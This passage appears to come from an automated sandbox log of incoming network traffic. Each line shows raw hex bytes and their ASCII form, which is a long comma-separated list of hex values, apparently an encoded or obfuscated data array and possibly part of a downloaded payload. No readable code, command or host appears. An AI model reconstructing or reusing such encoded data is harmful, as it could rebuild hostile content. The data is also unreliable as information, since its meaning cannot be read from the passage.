2023-03-24 00:27:19 UTC	849	IN	Data Raw: 2c 61 39 2c 36 36 2c 31 36 35 2c 31 35 36 2c 66 62 2c 31 32 62 2c 31 31 36 2c 31 31 30 2c 31 34 64 2c 65 30 2c 31 31 62 2c 31 36 39 2c 62 37 2c 39 39 2c 37 66 2c 36 38 2c 31 30 39 2c 64 35 2c 31 31 65 2c 31 32 63 2c 62 30 2c 61 36 2c 31 32 37 2c 65 66 2c 38 35 2c 61 36 2c 33 63 2c 31 31 37 2c 39 61 2c 31 32 34 2c 65 62 2c 36 39 2c 64 38 2c 61 65 2c 31 35 37 2c 31 35 39 2c 66 39 2c 37 36 2c 38 33 2c 63 31 2c 64 38 2c 31 31 38 2c 34 61 2c 62 64 2c 38 36 2c 62 32 2c 31 30 38 2c 66 35 2c 65 66 2c 62 65 2c 63 62 2c 31 33 64 2c 31 32 61 2c 31 32 64 2c 31 32 64 2c 61 37 2c 37 65 2c 64 64 2c 64 39 2c 61 36 2c 31 31 37 2c 31 34 31 2c 31 34 63 2c 64 38 2c 31 33 30 2c 39 33 2c 66 33 2c 61 62 2c 61 38 2c 31 33 31 2c 36 65 2c 31 31 31 2c 66 64 2c 31 32 65 2c 31 31 31 Data Ascii: ,a9,66,165,156,fb,12b,116,110,14d,e0,11b,169,b7,99,7f,68,109,d5,11e,12c,b0,a6,127,ef,85,a6,3c,117,9a,124,eb,69,d8,ae,157,159,f9,76,83,c1,d8,118,4a,bd,86,b2,108,f5,ef,be,cb,13d,12a,12d,12d,a7,7e,dd,d9,a6,117,141,14c,d8,130,93,f3,ab,a8,131,6e,111,fd,12e,111
2023-03-24 00:27:19 UTC	865	IN	Data Raw: 37 2c 62 64 2c 61 65 2c 61 31 2c 61 37 2c 31 32 64 2c 61 31 2c 31 31 66 2c 66 61 2c 64 65 2c 65 61 2c 34 61 2c 62 62 2c 31 34 32 2c 36 32 2c 62 39 2c 31 34 63 2c 39 32 2c 31 34 66 2c 38 64 2c 31 35 63 2c 64 65 2c 65 64 2c 39 64 2c 31 31 63 2c 31 32 31 2c 31 34 38 2c 66 65 2c 35 36 2c 31 34 64 2c 33 63 2c 63 62 2c 63 32 2c 31 33 66 2c 63 32 2c 39 35 2c 63 32 2c 35 61 2c 37 63 2c 39 37 2c 31 36 39 2c 36 33 2c 31 32 33 2c 66 34 2c 39 62 2c 31 33 34 2c 61 61 2c 36 37 2c 65 32 2c 31 32 63 2c 65 37 2c 63 30 2c 38 62 2c 37 37 2c 33 65 2c 66 33 2c 31 32 39 2c 38 61 2c 31 35 34 2c 62 35 2c 64 33 2c 38 34 2c 39 35 2c 39 33 2c 38 33 2c 64 61 2c 31 35 32 2c 64 35 2c 65 36 2c 36 36 2c 31 33 32 2c 38 30 2c 31 32 35 2c 31 31 35 2c 39 36 2c 64 65 2c 38 65 2c 37 66 2c 64 Data Ascii: 7,bd,ae,a1,a7,12d,a1,11f,fa,de,ea,4a,bb,142,62,b9,14c,92,14f,8d,15c,de,ed,9d,11c,121,148,fe,56,14d,3c,cb,c2,13f,c2,95,c2,5a,7c,97,169,63,123,f4,9b,134,aa,67,e2,12c,e7,c0,8b,77,3e,f3,129,8a,154,b5,d3,84,95,93,83,da,152,d5,e6,66,132,80,125,115,96,de,8e,7f,d
2023-03-24 00:27:19 UTC	881	IN	Data Raw: 32 2c 65 32 2c 37 65 2c 31 31 63 2c 62 36 2c 31 31 66 2c 31 30 65 2c 62 37 2c 31 30 34 2c 38 37 2c 63 39 2c 37 38 2c 31 34 35 2c 35 65 2c 31 31 61 2c 66 34 2c 39 37 2c 35 64 2c 31 33 33 2c 64 65 2c 63 30 2c 64 62 2c 61 36 2c 31 35 30 2c 63 36 2c 31 30 66 2c 39 33 2c 65 33 2c 61 35 2c 31 32 66 2c 35 37 2c 64 65 2c 35 61 2c 38 31 2c 63 64 2c 31 35 36 2c 62 61 2c 31 34 64 2c 64 66 2c 31 34 66 2c 31 34 37 2c 61 62 2c 31 31 39 2c 31 30 31 2c 36 33 2c 31 32 63 2c 66 36 2c 31 34 35 2c 65 35 2c 31 34 62 2c 31 31 33 2c 31 33 39 2c 31 35 32 2c 33 64 2c 39 35 2c 38 30 2c 37 65 2c 66 31 2c 31 34 36 2c 31 35 64 2c 65 62 2c 37 62 2c 37 38 2c 39 63 2c 66 65 2c 39 38 2c 66 63 2c 31 30 61 2c 64 31 2c 61 66 2c 31 33 35 2c 61 31 2c 38 37 2c 31 30 64 2c 39 33 2c 36 31 2c 31 Data Ascii: 2,e2,7e,11c,b6,11f,10e,b7,104,87,c9,78,145,5e,11a,f4,97,5d,133,de,c0,db,a6,150,c6,10f,93,e3,a5,12f,57,de,5a,81,cd,156,ba,14d,df,14f,147,ab,119,101,63,12c,f6,145,e5,14b,113,139,152,3d,95,80,7e,f1,146,15d,eb,7b,78,9c,fe,98,fc,10a,d1,af,135,a1,87,10d,93,61,1
2023-03-24 00:27:19 UTC	897	IN	Data Raw: 2c 66 30 2c 31 31 31 2c 36 63 2c 38 61 2c 39 66 2c 64 32 2c 31 36 33 2c 31 30 37 2c 65 38 2c 62 36 2c 31 33 35 2c 38 34 2c 63 61 2c 39 33 2c 31 30 31 2c 66 36 2c 31 34 35 2c 38 66 2c 37 66 2c 31 31 30 2c 31 31 36 2c 39 63 2c 31 30 32 2c 31 31 36 2c 38 65 2c 65 37 2c 31 30 35 2c 66 61 2c 62 66 2c 61 30 2c 38 30 2c 61 65 2c 65 36 2c 66 66 2c 31 33 66 2c 31 33 36 2c 31 30 66 2c 64 38 2c 31 31 64 2c 31 31 31 2c 65 62 2c 66 34 2c 31 31 39 2c 31 31 35 2c 35 66 2c 64 62 2c 31 30 66 2c 31 34 38 2c 31 32 62 2c 36 33 2c 61 30 2c 34 30 2c 62 32 2c 66 61 2c 38 38 2c 66 35 2c 66 62 2c 34 39 2c 31 33 36 2c 31 31 30 2c 39 64 2c 62 63 2c 31 34 65 2c 63 39 2c 31 31 62 2c 35 62 2c 38 66 2c 64 36 2c 36 37 2c 65 31 2c 61 64 2c 31 31 33 2c 33 37 2c 61 66 2c 63 39 2c 33 38 2c Data Ascii: ,f0,111,6c,8a,9f,d2,163,107,e8,b6,135,84,ca,93,101,f6,145,8f,7f,110,116,9c,102,116,8e,e7,105,fa,bf,a0,80,ae,e6,ff,13f,136,10f,d8,11d,111,eb,f4,119,115,5f,db,10f,148,12b,63,a0,40,b2,fa,88,f5,fb,49,136,110,9d,bc,14e,c9,11b,5b,8f,d6,67,e1,ad,113,37,af,c9,38,
2023-03-24 00:27:19 UTC	913	IN	Data Raw: 31 31 39 2c 63 36 2c 66 30 2c 64 30 2c 65 38 2c 63 38 2c 31 31 64 2c 36 32 2c 64 37 2c 31 33 37 2c 61 38 2c 39 62 2c 31 33 66 2c 65 33 2c 61 37 2c 66 36 2c 66 35 2c 66 33 2c 39 39 2c 64 38 2c 65 61 2c 36 66 2c 31 31 31 2c 31 36 39 2c 63 63 2c 31 31 34 2c 61 33 2c 31 33 31 2c 66 31 2c 31 33 33 2c 31 30 64 2c 31 30 64 2c 65 61 2c 31 33 31 2c 36 34 2c 66 30 2c 62 36 2c 61 61 2c 61 30 2c 31 31 65 2c 31 33 30 2c 31 31 37 2c 31 32 62 2c 63 63 2c 39 36 2c 31 34 37 2c 31 31 32 2c 39 64 2c 66 62 2c 31 32 35 2c 35 63 2c 31 37 36 2c 65 30 2c 65 34 2c 65 65 2c 61 37 2c 38 34 2c 34 38 2c 31 34 36 2c 64 34 2c 65 63 2c 39 38 2c 64 62 2c 62 61 2c 38 38 2c 38 63 2c 65 61 2c 62 30 2c 63 66 2c 38 64 2c 38 64 2c 36 31 2c 38 35 2c 36 37 2c 31 31 64 2c 31 33 65 2c 38 66 2c 38 Data Ascii: 119,c6,f0,d0,e8,c8,11d,62,d7,137,a8,9b,13f,e3,a7,f6,f5,f3,99,d8,ea,6f,111,169,cc,114,a3,131,f1,133,10d,10d,ea,131,64,f0,b6,aa,a0,11e,130,117,12b,cc,96,147,112,9d,fb,125,5c,176,e0,e4,ee,a7,84,48,146,d4,ec,98,db,ba,88,8c,ea,b0,cf,8d,8d,61,85,67,11d,13e,8f,8
2023-03-24 00:27:19 UTC	929	IN	Data Raw: 39 2c 62 34 2c 39 39 2c 37 62 2c 62 32 2c 64 66 2c 31 32 38 2c 63 39 2c 31 33 35 2c 39 36 2c 62 30 2c 31 33 36 2c 31 31 33 2c 66 33 2c 31 32 36 2c 31 30 64 2c 66 61 2c 65 65 2c 62 65 2c 31 32 30 2c 38 31 2c 63 64 2c 63 66 2c 39 64 2c 61 65 2c 61 61 2c 31 32 61 2c 62 64 2c 31 30 31 2c 38 31 2c 31 31 34 2c 39 36 2c 62 31 2c 38 66 2c 64 39 2c 63 32 2c 31 32 34 2c 31 34 65 2c 34 32 2c 31 33 34 2c 65 62 2c 31 33 62 2c 65 30 2c 31 34 34 2c 38 33 2c 64 64 2c 32 65 2c 62 63 2c 31 30 65 2c 31 30 62 2c 31 35 38 2c 31 35 61 2c 31 33 37 2c 38 36 2c 39 39 2c 31 33 66 2c 31 32 30 2c 62 66 2c 64 35 2c 31 31 39 2c 36 63 2c 65 31 2c 38 31 2c 38 38 2c 64 62 2c 39 63 2c 31 30 63 2c 31 31 62 2c 64 64 2c 38 34 2c 36 38 2c 65 37 2c 31 35 36 2c 31 35 31 2c 61 61 2c 35 39 2c 64 Data Ascii: 9,b4,99,7b,b2,df,128,c9,135,96,b0,136,113,f3,126,10d,fa,ee,be,120,81,cd,cf,9d,ae,aa,12a,bd,101,81,114,96,b1,8f,d9,c2,124,14e,42,134,eb,13b,e0,144,83,dd,2e,bc,10e,10b,158,15a,137,86,99,13f,120,bf,d5,119,6c,e1,81,88,db,9c,10c,11b,dd,84,68,e7,156,151,aa,59,d
2023-03-24 00:27:19 UTC	945	IN	Data Raw: 33 63 2c 31 32 66 2c 31 32 36 2c 63 65 2c 36 62 2c 62 35 2c 39 62 2c 31 30 34 2c 31 34 34 2c 34 62 2c 31 30 30 2c 63 62 2c 66 39 2c 35 31 2c 31 34 66 2c 31 35 34 2c 31 30 63 2c 65 32 2c 39 30 2c 66 37 2c 33 64 2c 63 32 2c 38 35 2c 31 32 37 2c 65 38 2c 64 36 2c 63 39 2c 31 30 32 2c 31 33 37 2c 31 32 66 2c 31 31 63 2c 31 32 30 2c 31 32 32 2c 39 33 2c 33 65 2c 62 65 2c 31 31 63 2c 38 66 2c 39 33 2c 65 62 2c 31 33 35 2c 34 32 2c 31 35 61 2c 31 32 39 2c 34 30 2c 31 33 62 2c 31 30 35 2c 61 62 2c 39 35 2c 31 31 61 2c 61 38 2c 31 31 62 2c 62 65 2c 38 38 2c 31 32 65 2c 31 35 35 2c 66 30 2c 63 31 2c 65 34 2c 31 33 32 2c 36 35 2c 61 32 2c 31 34 34 2c 31 34 66 2c 63 36 2c 36 39 2c 64 33 2c 65 66 2c 64 38 2c 39 36 2c 65 64 2c 65 37 2c 39 30 2c 31 30 38 2c 65 39 2c 61 Data Ascii: 3c,12f,126,ce,6b,b5,9b,104,144,4b,100,cb,f9,51,14f,154,10c,e2,90,f7,3d,c2,85,127,e8,d6,c9,102,137,12f,11c,120,122,93,3e,be,11c,8f,93,eb,135,42,15a,129,40,13b,105,ab,95,11a,a8,11b,be,88,12e,155,f0,c1,e4,132,65,a2,144,14f,c6,69,d3,ef,d8,96,ed,e7,90,108,e9,a
2023-03-24 00:27:19 UTC	961	IN	Data Raw: 65 2c 31 34 33 2c 38 65 2c 65 38 2c 65 65 2c 34 37 2c 38 39 2c 31 34 66 2c 31 32 38 2c 31 31 65 2c 66 34 2c 61 38 2c 39 65 2c 39 64 2c 31 34 65 2c 31 36 34 2c 66 33 2c 31 32 34 2c 35 32 2c 38 32 2c 65 32 2c 31 31 64 2c 31 33 61 2c 62 30 2c 31 30 31 2c 62 61 2c 31 31 32 2c 37 63 2c 61 32 2c 38 35 2c 31 34 61 2c 62 39 2c 64 31 2c 31 31 36 2c 31 31 32 2c 63 65 2c 63 31 2c 61 62 2c 66 33 2c 31 30 36 2c 37 61 2c 39 38 2c 63 36 2c 31 30 65 2c 35 39 2c 37 61 2c 31 36 35 2c 31 31 32 2c 61 39 2c 31 32 61 2c 36 62 2c 36 37 2c 38 34 2c 35 38 2c 36 61 2c 31 30 34 2c 62 34 2c 31 35 61 2c 36 62 2c 61 61 2c 31 31 65 2c 31 31 35 2c 37 33 2c 38 64 2c 63 64 2c 31 31 31 2c 63 64 2c 31 30 33 2c 63 32 2c 62 38 2c 64 37 2c 65 65 2c 31 35 38 2c 66 37 2c 31 33 34 2c 65 37 2c 31 Data Ascii: e,143,8e,e8,ee,47,89,14f,128,11e,f4,a8,9e,9d,14e,164,f3,124,52,82,e2,11d,13a,b0,101,ba,112,7c,a2,85,14a,b9,d1,116,112,ce,c1,ab,f3,106,7a,98,c6,10e,59,7a,165,112,a9,12a,6b,67,84,58,6a,104,b4,15a,6b,aa,11e,115,73,8d,cd,111,cd,103,c2,b8,d7,ee,158,f7,134,e7,1
2023-03-24 00:27:19 UTC	977	IN	Data Raw: 2c 31 33 32 2c 31 35 64 2c 31 34 39 2c 39 36 2c 35 33 2c 66 31 2c 65 66 2c 34 65 2c 65 66 2c 31 32 30 2c 31 36 63 2c 61 35 2c 31 30 38 2c 64 34 2c 65 35 2c 31 33 36 2c 62 31 2c 31 32 61 2c 62 37 2c 31 35 36 2c 61 35 2c 61 61 2c 39 31 2c 62 35 2c 31 35 62 2c 63 61 2c 31 33 30 2c 35 38 2c 35 64 2c 31 30 36 2c 31 32 66 2c 34 32 2c 65 39 2c 62 37 2c 65 32 2c 31 35 62 2c 34 36 2c 31 35 31 2c 38 35 2c 62 35 2c 31 32 66 2c 62 38 2c 37 65 2c 63 62 2c 39 35 2c 66 35 2c 61 61 2c 62 61 2c 35 31 2c 38 64 2c 39 61 2c 31 35 32 2c 64 31 2c 31 30 36 2c 38 66 2c 62 61 2c 66 38 2c 31 37 35 2c 31 35 32 2c 65 35 2c 34 64 2c 31 31 36 2c 61 33 2c 64 38 2c 31 32 35 2c 31 32 32 2c 31 33 37 2c 38 65 2c 65 30 2c 31 36 32 2c 31 33 64 2c 31 31 32 2c 39 34 2c 31 30 61 2c 31 31 31 2c Data Ascii: ,132,15d,149,96,53,f1,ef,4e,ef,120,16c,a5,108,d4,e5,136,b1,12a,b7,156,a5,aa,91,b5,15b,ca,130,58,5d,106,12f,42,e9,b7,e2,15b,46,151,85,b5,12f,b8,7e,cb,95,f5,aa,ba,51,8d,9a,152,d1,106,8f,ba,f8,175,152,e5,4d,116,a3,d8,125,122,137,8e,e0,162,13d,112,94,10a,111,
2023-03-24 00:27:19 UTC	993	IN	Data Raw: 31 2c 62 61 2c 31 34 66 2c 31 33 63 2c 62 66 2c 38 39 2c 62 39 2c 39 37 2c 31 32 65 2c 31 30 33 2c 37 36 2c 62 35 2c 64 33 2c 31 31 31 2c 64 39 2c 31 35 32 2c 31 34 38 2c 31 34 62 2c 61 36 2c 39 39 2c 37 33 2c 31 37 30 2c 31 35 31 2c 31 35 33 2c 31 33 62 2c 36 62 2c 64 30 2c 31 31 38 2c 31 30 36 2c 35 61 2c 65 36 2c 62 33 2c 62 31 2c 39 65 2c 62 30 2c 65 31 2c 38 39 2c 31 30 31 2c 31 31 36 2c 31 35 31 2c 61 37 2c 61 30 2c 61 33 2c 31 30 30 2c 37 64 2c 31 30 66 2c 37 32 2c 37 30 2c 31 36 36 2c 36 64 2c 64 31 2c 31 30 65 2c 64 61 2c 31 31 30 2c 39 65 2c 37 38 2c 65 39 2c 64 39 2c 33 61 2c 63 31 2c 31 32 63 2c 63 63 2c 31 37 31 2c 64 37 2c 31 30 33 2c 66 34 2c 62 63 2c 39 34 2c 61 39 2c 63 35 2c 35 35 2c 31 32 66 2c 31 30 64 2c 31 30 66 2c 33 36 2c 62 39 2c Data Ascii: 1,ba,14f,13c,bf,89,b9,97,12e,103,76,b5,d3,111,d9,152,148,14b,a6,99,73,170,151,153,13b,6b,d0,118,106,5a,e6,b3,b1,9e,b0,e1,89,101,116,151,a7,a0,a3,100,7d,10f,72,70,166,6d,d1,10e,da,110,9e,78,e9,d9,3a,c1,12c,cc,171,d7,103,f4,bc,94,a9,c5,55,12f,10d,10f,36,b9,
2023-03-24 00:27:19 UTC	1009	IN	Data Raw: 31 35 66 2c 63 39 2c 38 36 2c 66 37 2c 62 34 2c 63 61 2c 35 64 2c 34 37 2c 63 30 2c 62 32 2c 64 39 2c 63 65 2c 31 30 64 2c 65 62 2c 64 64 2c 33 30 2c 38 62 2c 38 63 2c 31 37 30 2c 64 31 2c 34 64 2c 34 31 2c 31 35 64 2c 33 64 2c 66 36 2c 31 30 64 2c 31 32 35 2c 31 33 31 2c 38 36 2c 61 39 2c 37 65 2c 62 64 2c 31 32 64 2c 31 32 63 2c 62 34 2c 63 62 2c 31 34 31 2c 66 35 2c 65 33 2c 37 36 2c 65 37 2c 31 37 31 2c 31 33 33 2c 31 32 30 2c 31 30 66 2c 31 30 62 2c 36 65 2c 64 36 2c 31 32 64 2c 31 31 36 2c 64 38 2c 31 31 37 2c 31 33 30 2c 31 32 38 2c 39 35 2c 64 39 2c 39 65 2c 31 30 33 2c 36 35 2c 31 30 62 2c 62 63 2c 62 64 2c 31 33 34 2c 31 33 63 2c 31 31 38 2c 31 35 37 2c 31 33 34 2c 66 34 2c 63 32 2c 35 31 2c 65 34 2c 31 33 30 2c 31 33 31 2c 39 30 2c 31 33 32 2c Data Ascii: 15f,c9,86,f7,b4,ca,5d,47,c0,b2,d9,ce,10d,eb,dd,30,8b,8c,170,d1,4d,41,15d,3d,f6,10d,125,131,86,a9,7e,bd,12d,12c,b4,cb,141,f5,e3,76,e7,171,133,120,10f,10b,6e,d6,12d,116,d8,117,130,128,95,d9,9e,103,65,10b,bc,bd,134,13c,118,157,134,f4,c2,51,e4,130,131,90,132,
2023-03-24 00:27:19 UTC	1025	IN	Data Raw: 2c 38 37 2c 37 31 2c 61 39 2c 36 63 2c 38 36 2c 62 30 2c 65 64 2c 31 32 36 2c 62 61 2c 31 34 63 2c 66 31 2c 63 33 2c 61 37 2c 34 66 2c 34 66 2c 31 36 36 2c 65 33 2c 62 35 2c 61 32 2c 31 35 62 2c 63 62 2c 61 33 2c 65 37 2c 63 39 2c 39 64 2c 66 61 2c 31 31 31 2c 35 66 2c 38 65 2c 34 63 2c 62 61 2c 66 65 2c 31 30 35 2c 63 66 2c 31 32 62 2c 31 31 37 2c 38 30 2c 62 31 2c 38 34 2c 63 33 2c 62 33 2c 31 31 34 2c 31 33 30 2c 31 33 64 2c 62 64 2c 63 32 2c 63 34 2c 64 66 2c 61 64 2c 36 36 2c 38 34 2c 31 30 65 2c 66 66 2c 66 32 2c 38 36 2c 66 32 2c 61 33 2c 38 37 2c 31 33 64 2c 37 37 2c 31 31 66 2c 35 30 2c 61 35 2c 64 36 2c 63 61 2c 31 30 64 2c 61 32 2c 38 36 2c 37 34 2c 63 38 2c 62 32 2c 31 30 34 2c 39 62 2c 62 31 2c 61 36 2c 31 33 34 2c 39 65 2c 61 63 2c 31 32 34 Data Ascii: ,87,71,a9,6c,86,b0,ed,126,ba,14c,f1,c3,a7,4f,4f,166,e3,b5,a2,15b,cb,a3,e7,c9,9d,fa,111,5f,8e,4c,ba,fe,105,cf,12b,117,80,b1,84,c3,b3,114,130,13d,bd,c2,c4,df,ad,66,84,10e,ff,f2,86,f2,a3,87,13d,77,11f,50,a5,d6,ca,10d,a2,86,74,c8,b2,104,9b,b1,a6,134,9e,ac,124
2023-03-24 00:27:19 UTC	1041	IN	Data Raw: 2c 38 64 2c 31 32 38 2c 31 34 32 2c 64 35 2c 31 33 62 2c 36 65 2c 36 35 2c 65 39 2c 39 61 2c 36 64 2c 31 30 38 2c 65 38 2c 66 39 2c 63 61 2c 31 31 37 2c 36 38 2c 63 35 2c 31 33 31 2c 61 37 2c 38 62 2c 31 31 33 2c 66 61 2c 66 38 2c 31 30 66 2c 36 32 2c 31 35 32 2c 39 31 2c 34 30 2c 38 36 2c 64 64 2c 31 35 39 2c 31 34 65 2c 63 64 2c 31 30 34 2c 64 31 2c 61 64 2c 37 33 2c 61 34 2c 31 32 61 2c 64 61 2c 31 33 34 2c 31 32 63 2c 37 31 2c 65 63 2c 62 62 2c 33 36 2c 31 34 35 2c 61 65 2c 31 36 61 2c 31 32 64 2c 62 30 2c 61 39 2c 38 33 2c 31 32 36 2c 65 37 2c 31 30 38 2c 31 32 39 2c 31 34 66 2c 39 37 2c 33 66 2c 62 39 2c 31 35 30 2c 66 31 2c 64 37 2c 37 37 2c 31 34 35 2c 31 30 32 2c 62 62 2c 64 34 2c 39 37 2c 62 34 2c 31 33 39 2c 38 35 2c 31 34 66 2c 65 35 2c 31 35 Data Ascii: ,8d,128,142,d5,13b,6e,65,e9,9a,6d,108,e8,f9,ca,117,68,c5,131,a7,8b,113,fa,f8,10f,62,152,91,40,86,dd,159,14e,cd,104,d1,ad,73,a4,12a,da,134,12c,71,ec,bb,36,145,ae,16a,12d,b0,a9,83,126,e7,108,129,14f,97,3f,b9,150,f1,d7,77,145,102,bb,d4,97,b4,139,85,14f,e5,15
2023-03-24 00:27:19 UTC	1057	IN	Data Raw: 2c 31 32 66 2c 31 34 31 2c 31 34 37 2c 39 31 2c 66 34 2c 39 64 2c 31 32 35 2c 39 35 2c 31 33 66 2c 31 33 32 2c 65 62 2c 31 33 33 2c 37 38 2c 37 65 2c 31 30 62 2c 62 32 2c 62 31 2c 31 35 66 2c 37 35 2c 31 35 30 2c 65 32 2c 64 63 2c 39 34 2c 62 31 2c 66 31 2c 63 32 2c 39 35 2c 63 61 2c 34 31 2c 39 36 2c 36 65 2c 38 32 2c 38 64 2c 62 65 2c 31 31 35 2c 31 32 30 2c 31 32 65 2c 39 66 2c 39 65 2c 61 38 2c 66 35 2c 31 34 66 2c 66 32 2c 31 32 65 2c 31 32 32 2c 31 31 39 2c 65 64 2c 65 34 2c 38 65 2c 31 35 37 2c 65 61 2c 31 31 31 2c 63 36 2c 31 34 38 2c 62 39 2c 31 35 61 2c 31 31 32 2c 66 33 2c 31 31 32 2c 61 30 2c 37 39 2c 39 37 2c 65 63 2c 62 38 2c 65 31 2c 38 63 2c 36 66 2c 62 33 2c 63 62 2c 31 36 34 2c 35 30 2c 62 36 2c 31 32 38 2c 31 35 30 2c 31 31 37 2c 31 30 Data Ascii: ,12f,141,147,91,f4,9d,125,95,13f,132,eb,133,78,7e,10b,b2,b1,15f,75,150,e2,dc,94,b1,f1,c2,95,ca,41,96,6e,82,8d,be,115,120,12e,9f,9e,a8,f5,14f,f2,12e,122,119,ed,e4,8e,157,ea,111,c6,148,b9,15a,112,f3,112,a0,79,97,ec,b8,e1,8c,6f,b3,cb,164,50,b6,128,150,117,10
2023-03-24 00:27:19 UTC	1073	IN	Data Raw: 2c 31 33 65 2c 31 36 65 2c 31 31 66 2c 31 35 34 2c 31 32 34 2c 31 31 38 2c 61 65 2c 39 32 2c 36 65 2c 31 33 30 2c 31 30 38 2c 66 61 2c 36 65 2c 31 32 32 2c 31 32 62 2c 64 31 2c 64 62 2c 64 66 2c 36 38 2c 31 34 61 2c 61 63 2c 31 31 31 2c 65 37 2c 66 39 2c 34 38 2c 36 64 2c 61 64 2c 36 35 2c 31 31 32 2c 38 36 2c 37 32 2c 39 65 2c 39 65 2c 38 39 2c 38 30 2c 37 30 2c 61 65 2c 38 66 2c 66 32 2c 36 31 2c 39 63 2c 65 36 2c 31 31 64 2c 39 65 2c 39 33 2c 64 31 2c 31 31 38 2c 31 33 39 2c 31 31 34 2c 38 62 2c 35 34 2c 31 33 63 2c 66 63 2c 31 33 64 2c 61 33 2c 62 30 2c 63 32 2c 31 32 65 2c 31 32 63 2c 31 33 35 2c 66 62 2c 65 32 2c 38 37 2c 31 31 39 2c 64 31 2c 38 63 2c 31 33 63 2c 38 34 2c 63 36 2c 31 31 31 2c 62 39 2c 64 65 2c 37 63 2c 63 65 2c 62 36 2c 31 31 66 2c Data Ascii: ,13e,16e,11f,154,124,118,ae,92,6e,130,108,fa,6e,122,12b,d1,db,df,68,14a,ac,111,e7,f9,48,6d,ad,65,112,86,72,9e,9e,89,80,70,ae,8f,f2,61,9c,e6,11d,9e,93,d1,118,139,114,8b,54,13c,fc,13d,a3,b0,c2,12e,12c,135,fb,e2,87,119,d1,8c,13c,84,c6,111,b9,de,7c,ce,b6,11f,
2023-03-24 00:27:19 UTC	1089	IN	Data Raw: 34 2c 37 35 2c 38 32 2c 31 30 31 2c 38 66 2c 65 36 2c 39 33 2c 31 31 39 2c 66 33 2c 31 31 38 2c 33 34 2c 63 35 2c 36 37 2c 35 66 2c 64 64 2c 39 38 2c 31 36 31 2c 31 34 34 2c 33 64 2c 35 66 2c 62 61 2c 39 36 2c 38 63 2c 31 32 36 2c 31 31 38 2c 31 30 30 2c 38 66 2c 65 37 2c 31 33 34 2c 31 31 32 2c 31 32 66 2c 65 36 2c 64 31 2c 31 31 37 2c 64 62 2c 31 32 33 2c 61 36 2c 31 33 38 2c 31 31 63 2c 31 31 66 2c 64 34 2c 65 30 2c 62 61 2c 66 32 2c 38 33 2c 31 32 30 2c 62 39 2c 37 64 2c 66 30 2c 31 31 30 2c 61 65 2c 31 34 65 2c 61 65 2c 62 61 2c 31 36 33 2c 36 65 2c 64 64 2c 36 36 2c 33 33 2c 64 30 2c 62 64 2c 31 34 39 2c 31 32 35 2c 31 30 33 2c 31 34 38 2c 66 38 2c 31 31 62 2c 39 37 2c 36 31 2c 62 37 2c 36 30 2c 66 64 2c 39 32 2c 62 39 2c 61 31 2c 66 62 2c 66 31 2c Data Ascii: 4,75,82,101,8f,e6,93,119,f3,118,34,c5,67,5f,dd,98,161,144,3d,5f,ba,96,8c,126,118,100,8f,e7,134,112,12f,e6,d1,117,db,123,a6,138,11c,11f,d4,e0,ba,f2,83,120,b9,7d,f0,110,ae,14e,ae,ba,163,6e,dd,66,33,d0,bd,149,125,103,148,f8,11b,97,61,b7,60,fd,92,b9,a1,fb,f1,
2023-03-24 00:27:19 UTC	1105	IN	Data Raw: 33 32 2c 37 35 2c 31 34 63 2c 63 37 2c 31 33 37 2c 61 30 2c 31 30 65 2c 31 32 30 2c 66 63 2c 31 30 63 2c 31 30 65 2c 36 36 2c 64 36 2c 31 35 34 2c 39 36 2c 31 33 64 2c 31 31 32 2c 66 66 2c 66 38 2c 61 31 2c 38 34 2c 62 30 2c 31 32 36 2c 61 65 2c 34 64 2c 65 65 2c 31 32 30 2c 38 65 2c 61 62 2c 31 33 39 2c 31 32 61 2c 62 32 2c 31 30 32 2c 34 36 2c 61 32 2c 61 37 2c 31 30 34 2c 31 32 35 2c 31 33 39 2c 31 34 64 2c 35 65 2c 65 36 2c 39 31 2c 64 36 2c 38 63 2c 65 34 2c 31 31 30 2c 31 35 64 2c 61 38 2c 31 36 36 2c 31 35 63 2c 31 30 37 2c 35 38 2c 39 35 2c 65 62 2c 65 63 2c 64 65 2c 31 30 30 2c 38 35 2c 31 32 32 2c 66 33 2c 62 62 2c 31 34 30 2c 63 38 2c 31 31 39 2c 34 38 2c 31 31 64 2c 37 63 2c 62 64 2c 66 66 2c 31 33 66 2c 65 64 2c 64 66 2c 62 31 2c 61 64 2c 66 Data Ascii: 32,75,14c,c7,137,a0,10e,120,fc,10c,10e,66,d6,154,96,13d,112,ff,f8,a1,84,b0,126,ae,4d,ee,120,8e,ab,139,12a,b2,102,46,a2,a7,104,125,139,14d,5e,e6,91,d6,8c,e4,110,15d,a8,166,15c,107,58,95,eb,ec,de,100,85,122,f3,bb,140,c8,119,48,11d,7c,bd,ff,13f,ed,df,b1,ad,f
2023-03-24 00:27:19 UTC	1121	IN	Data Raw: 2c 62 64 2c 31 31 31 2c 37 35 2c 61 35 2c 66 66 2c 31 32 62 2c 38 35 2c 61 66 2c 31 31 62 2c 31 33 35 2c 39 31 2c 39 62 2c 63 63 2c 37 61 2c 66 66 2c 39 64 2c 31 35 62 2c 61 34 2c 37 33 2c 61 64 2c 64 37 2c 33 63 2c 65 62 2c 65 62 2c 62 66 2c 38 36 2c 31 33 62 2c 36 38 2c 31 35 66 2c 35 30 2c 37 64 2c 63 33 2c 31 32 66 2c 31 34 31 2c 63 65 2c 31 30 65 2c 64 35 2c 65 36 2c 31 33 33 2c 65 64 2c 63 34 2c 36 35 2c 31 32 36 2c 64 32 2c 31 32 61 2c 37 61 2c 62 66 2c 31 36 35 2c 63 38 2c 31 34 62 2c 31 31 35 2c 66 30 2c 63 62 2c 61 63 2c 31 34 63 2c 35 34 2c 31 35 61 2c 39 36 2c 31 31 34 2c 64 61 2c 31 35 35 2c 34 30 2c 37 62 2c 64 37 2c 31 35 33 2c 31 35 33 2c 39 39 2c 61 66 2c 61 61 2c 36 62 2c 65 33 2c 31 31 36 2c 31 33 62 2c 31 34 64 2c 66 33 2c 37 61 2c 31 Data Ascii: ,bd,111,75,a5,ff,12b,85,af,11b,135,91,9b,cc,7a,ff,9d,15b,a4,73,ad,d7,3c,eb,eb,bf,86,13b,68,15f,50,7d,c3,12f,141,ce,10e,d5,e6,133,ed,c4,65,126,d2,12a,7a,bf,165,c8,14b,115,f0,cb,ac,14c,54,15a,96,114,da,155,40,7b,d7,153,153,99,af,aa,6b,e3,116,13b,14d,f3,7a,1
